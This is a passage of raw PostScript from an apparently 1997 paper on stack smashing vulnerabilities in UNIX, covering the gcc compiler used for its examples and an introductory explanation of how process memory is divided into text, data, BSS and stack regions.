GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3668 2609 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3888 2609 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4182 2609 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4670 2609 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5389 2609 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5943 2609 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6450 2609 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6781 2609 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7186 2609 M (been ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2333 M (reproduced under other UNIX operating systems using near-identical means.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2057 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2055 2057 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2557 2057 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2754 2057 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3432 2057 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3823 2057 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4038 2057 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4327 2057 M (examples ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5042 2057 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5257 2057 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5583 2057 M (study ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6029 2057 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6226 2057 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6515 2057 M (Free ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6898 2057 M (Software ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1781 M (F) ST -2 0 MR (o) ST -2 0 MR (u) ST -2 0 MR (n) ST -2 0 MR (d) ST -2 0 MR (a) ST -2 0 MR (t) ST -2 0 MR (i) ST -3 0 MR (o) ST -3 0 MR (n) ST -3 0 MR (') ST -3 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2102 1781 M (GNU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2505 1781 M (CC ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2770 1781 M (compiler, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 3447 1781 M (gcc) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3678 1781 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 3805 1781 M (gcc) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4036 1781 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4079 1781 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4233 1781 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4479 1781 M (default ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4984 1781 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5138 1781 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5781 1781 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6416 1781 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7059 1781 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7241 1781 M (part ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1505 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1389 1505 M (every ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1804 1505 M (well ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2135 1505 M (known ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2632 1505 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3074 1505 M (distribution. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3969 1505 M (Maintained ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4771 1505 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5056 1505 M (written ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5572 1505 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5783 1505 M (Richard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6355 1505 M (M. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6590 1505 M (Stallman, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 7269 1505 M (gcc) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7500 1505 M ( ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 11 11 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 9848 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1419 9848 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1595 9848 M (free ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1957 9848 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2651 9848 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3353 9848 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3650 9848 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3826 9848 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4437 9848 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4678 9848 M (different ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5354 9848 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5872 9848 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6214 9848 M (non-UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7037 9848 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (architectures. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2204 9572 M (Efforts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2734 9572 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3114 9572 M (been ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3494 9572 M (made ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3921 9572 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4116 9572 M (insure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4589 9572 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4904 9572 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5136 9572 M (GNU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5562 9572 M (CC ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5850 9572 M (examples ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6545 9572 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6815 9572 M (generic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 9572 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (nature ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1662 9296 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1945 9296 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2154 9296 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2409 9296 M (incorporate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3210 9296 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3493 9296 M (proprietary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4276 9296 M (gcc-specific ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5124 9296 M (extensions. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5911 9296 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6065 9296 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6708 9296 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7186 9296 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (examples ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1918 9020 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2123 9020 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2439 9020 M (document ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3171 9020 M (conform ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3812 9020 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4017 9020 M (ANSI ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4482 9020 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4669 9020 M (standards ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5374 9020 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5690 9020 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5997 9020 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6230 9020 M (reproduced ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7055 9020 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 9020 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (comparable compiler. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 8175 M (7. UNIX Processes and the Stack) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 7885 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2173 7885 M (processes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2869 7885 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3055 7885 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3668 7885 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3929 7885 M (organized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4642 7885 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4828 7885 M (three ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5218 7885 M (regions: ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5853 7885 M (text, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6201 7885 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6535 7885 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6832 7885 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7231 7885 M (\() ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 7287 7885 M (see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7609 M (figure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1660 7609 M (7.a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1868 7609 M (\)[1,7,9]. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2504 7609 M (At ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2721 7609 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2975 7609 M (beginning ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3690 7609 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3880 7609 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4496 7609 M (execution, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5235 7609 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5489 7609 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5817 7609 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6108 7609 M (text ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6408 7609 M (areas ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6802 7609 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7057 7609 M (loaded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7333 M (directly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1777 7333 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2095 7333 M (active ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2552 7333 M (memory. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3252 7333 M (Data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3626 7333 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3797 7333 M (split ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4143 7333 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4461 7333 M (initialized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5185 7333 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5522 7333 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5822 7333 M (uninitialized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6712 7333 M (\(BSS\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7181 7333 M (data. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7057 M (BSS ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1552 7057 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1883 7057 M (takes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2279 7057 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2407 7057 M (higher ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2886 7057 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3496 7057 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4050 7057 M (than ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4390 7057 M (initialized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5108 7057 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5439 7057 M (while ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5862 7057 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6119 7057 M (text ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6422 7057 M (region ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6901 7057 M (takes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 7057 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6781 M (lowest ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1708 6781 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2328 6781 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2892 6781 M (\(closest ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3465 6781 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 3658 6781 M (0x00000000) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4658 6781 M (\). ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4862 6781 M (BSS ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5223 6781 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5564 6781 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5739 6781 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6015 6781 M (stored ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6486 6781 M (statically ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7150 6781 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 6781 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6505 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2011 6505 M (file, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2369 6505 M (simply ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2916 6505 M (because ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3537 6505 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3871 6505 M (region ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4390 6505 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4715 6505 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4966 6505 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5660 6505 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6114 6505 M (zero-filled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6902 6505 M (memory. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6229 M (Information ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2049 6229 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2405 6229 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2595 6229 M (static ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2997 6229 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3649 6229 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3904 6229 M (stored ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4362 6229 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4542 6229 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4796 6229 M (BSS ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5144 6229 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5472 6229 M (region. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6032 6229 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6342 6229 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6670 6229 M (r) ST -3 0 MR (e) ST -3 0 MR (g) ST -4 0 MR (i) ST -4 0 MR (o) ST -4 0 MR (n) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7241 6229 M (size ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5953 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1492 5953 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1703 5953 M (changed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2311 5953 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2660 5953 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2917 5953 M (POSIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3453 5953 M (2.9 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3715 5953 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4333 5953 M (\() ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 4389 5953 M (unistd.h) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5053 5953 M (\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5163 5953 M (symbolic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5827 5953 M (constant ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6435 5953 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 7043 5953 M (brk\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7458 5953 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5677 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1411 5677 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1676 5677 M (event ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2098 5677 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2409 5677 M (bss-data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3017 5677 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3218 5677 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3483 5677 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3823 5677 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4227 5677 M (exhausts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4862 5677 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5524 5677 M (memory, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6184 5677 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6449 5677 M (current ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6983 5677 M (running ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5401 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1752 5401 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1909 5401 M (blocked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2481 5401 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2767 5401 M (rescheduled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3608 5401 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3783 5401 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4051 5401 M (again ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4457 5401 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4798 5401 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4918 5401 M (larger ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5353 5401 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5955 5401 M (module. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6584 5401 M (New ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6944 5401 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5125 M (is added between the stack and data segments in the uninitialized region.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4849 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2013 4849 M (text ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2311 4849 M (region ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2785 4849 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2945 4849 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3068 4849 M (read-only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3755 4849 M (region ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4229 4849 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4527 4849 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4687 4849 M (shared ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5171 4849 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5386 4849 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5601 4849 M (processes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6289 4849 M (executing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6984 4849 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7236 4849 M (file. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4573 M (Attempts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1864 4573 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2043 4573 M (write ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2435 4573 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2614 4573 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2904 4573 M (region ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3379 4573 M (result ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3799 4573 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3978 4573 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4102 4573 M (segmentation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5039 4573 M (violation. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5763 4573 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6109 4573 M (differs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6595 4573 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6970 4573 M (the ) ST GR 